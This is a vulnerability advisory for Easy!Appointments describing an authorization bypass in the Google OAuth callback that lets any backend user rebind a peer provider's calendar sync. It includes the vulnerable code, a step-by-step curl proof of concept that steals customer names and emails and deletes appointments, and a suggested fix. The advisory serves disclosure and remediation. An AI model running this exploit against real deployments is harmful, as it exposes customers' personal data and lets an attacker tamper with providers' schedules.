Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google syncCVE-2026-52841

### Summary `Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data. ### Preconditions - Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in. - The instance has Google Calendar OAuth configured at `application/config/google.php` - i.e. any deployment that uses the Google sync feature at all. - Default deployment per the project's own `docker-compose.yml`; no non-default flags required. ### Details ```php // application/controllers/Google.php:278-289 public function oauth(string $provider_id): void { if (!$this->session->userdata('user_id')) { show_error('Forbidden', 403); } // Store the provider id for use on the callback function. session(['oauth_provider_id' => $provider_id]); // (*) attacker-chosen id stored unchecked // Redirect browser to google user content page. header('Location: ' . $this->google_sync->get_auth_url()); } ``` ```php // application/controllers/Google.php:305-337 public function oauth_callback(): void { if (!session('user_id')) { abort(403, 'Forbidden'); } $code = request('code'); if (empty($code)) { response('Code authorization failed.'); return; } $token = $this->google_sync->authenticate($code); if (empty($token)) { response('Token authorization failed.'); return; } $oauth_provider_id = session('oauth_provider_id'); if ($oauth_provider_id) { $this->providers_model->set_setting($oauth_provider_id, 'google_sync', true); // (*) $this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token)); // (*) $this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary'); } else { response('Sync provider id not specified.'); } } ``` The same controller already carries the right gate on every other sync-management entry. `select_google_calendar` at `application/controllers/Google.php:389` and `disable_provider_sync` at `application/controllers/Google.php:423` both refuse the call when the caller is neither an admin nor the provider themselves: ```php // application/controllers/Google.php:389 if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) { throw new RuntimeException('You do not have the required permissions for this task.'); } ``` `oauth` and `oauth_callback` skip that check. Once the callback runs with `oauth_provider_id` pointing at a peer provider, the peer's `user_settings` row is overwritten with the attacker's OAuth token and `google_sync` is forcibly enabled. The attack chain that delivers the data: - `Synchronization::sync_appointment_saved` at `application/libraries/Synchronization.php:51` runs on every booking save. The path includes the unauthenticated public booking flow (`Booking::register` at `application/controllers/Booking.php:463`) and the backend save (`Calendar::save_appointment` at `application/controllers/Calendar.php:306`). When `$provider['settings']['google_sync']` is truthy the handler reads `google_token` from the row - now the attacker's - refreshes it, and calls `Google_sync::add_appointment`. - `Google_sync::add_appointment` at `application/libraries/Google_sync.php:184-189` adds the customer as a Google calendar attendee with their first name, last name, and email. - The cron-triggered `Console::sync` -> `Google::sync($provider_id)` at `application/controllers/Google.php:44` walks the existing `sync_past_days` and `sync_future_days` windows and pushes every appointment to the attacker's calendar. - The same loop deletes the local row whenever the remote event throws or is `cancelled` (`application/controllers/Google.php:186-191`); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (`application/controllers/Google.php:209-254`). ### Proof of concept **Setup** 1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack: ```bash git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done ``` 2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (see `application/libraries/Instance.php:99`): ```bash docker compose exec -T php-fpm php index.php console install ``` 3. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into `application/config/google.php` and add `http://localhost/index.php/google/oauth_callback` to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync. 4. Log in as `administrator` and persist the cookie jar (the project's session cookie is `ea_session`): ```bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null ``` 5. Create the attacker provider (the default `require_phone_number=1` setting makes that field mandatory). Capture both ids: ```bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email][email protected]' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'") ``` 6. Log in as the attacker provider into a dedicated cookie jar: ```bash export ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null ``` **Exploit** 1. The attacker, logged in as a regular provider with id `$ATTACKER_ID`, points `/google/oauth/` at the victim provider's id `$VICTIM_ID`: ```bash curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5 ``` Expected: `HTTP/1.1 302 Found` with `Location: https://accounts.google.com/o/oauth2/auth?...` - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: `docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6=="ea_session"{print $7}' $ATTACKER_JAR)` shows `oauth_provider_id|s:1:"<VICTIM_ID>"` appended to the attacker's session data alongside their own `user_id|i:<ATTACKER_ID>`. 2. The attacker copies the `ea_session` cookie from `$ATTACKER_JAR` into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to `http://localhost/index.php/google/oauth_callback?code=...` and the app exchanges the code for an access + refresh token. 3. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's `ea_user_settings`: ```bash docker compose exec -T mysql mysql -uuser -ppassword easyappointments \ -e "SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')" ``` Expected: `google_sync = 1`, `google_token = {"access_token":"...","refresh_token":"..."}` (attacker's), `google_calendar = primary`. 4. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar: ```bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies) curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies) curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "post_data[manage_mode]=false" \ --data-urlencode "post_data[appointment][id_users_provider]=$VICTIM_ID" \ --data-urlencode "post_data[appointment][id_services]=1" \ --data-urlencode "post_data[appointment][start_datetime]=2026-06-01 10:00:00" \ --data-urlencode "post_data[appointment][end_datetime]=2026-06-01 10:30:00" \ --data-urlencode "post_data[customer][first_name]=Carol" \ --data-urlencode "post_data[customer][last_name]=Victim" \ --data-urlencode "post_data[customer][email][email protected]" ``` Expected: the attacker's Google calendar receives a new event whose title is the service name, with `Carol Victim <[email protected]>` listed as an attendee. ### Impact - **Confidentiality:** Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (`Google_sync.php:184-189`). - **Integrity:** Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next `Console::sync` removes the local row (`Google.php:186-191`). - **Integrity:** Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (`Google.php:209-254`). ### Suggestions to fix > _This has not been tested - it is illustrative only._ Reject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate `select_google_calendar` and `disable_provider_sync` already use. ```diff public function oauth(string $provider_id): void { if (!$this->session->userdata('user_id')) { show_error('Forbidden', 403); } + if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) { + abort(403, 'Forbidden'); + } + // Store the provider id for use on the callback function. session(['oauth_provider_id' => $provider_id]); // Redirect browser to google user content page. header('Location: ' . $this->google_sync->get_auth_url()); } ``` ### Credit Dredsen, 2026.

Quoted source text, attributed separately from HOL analysis.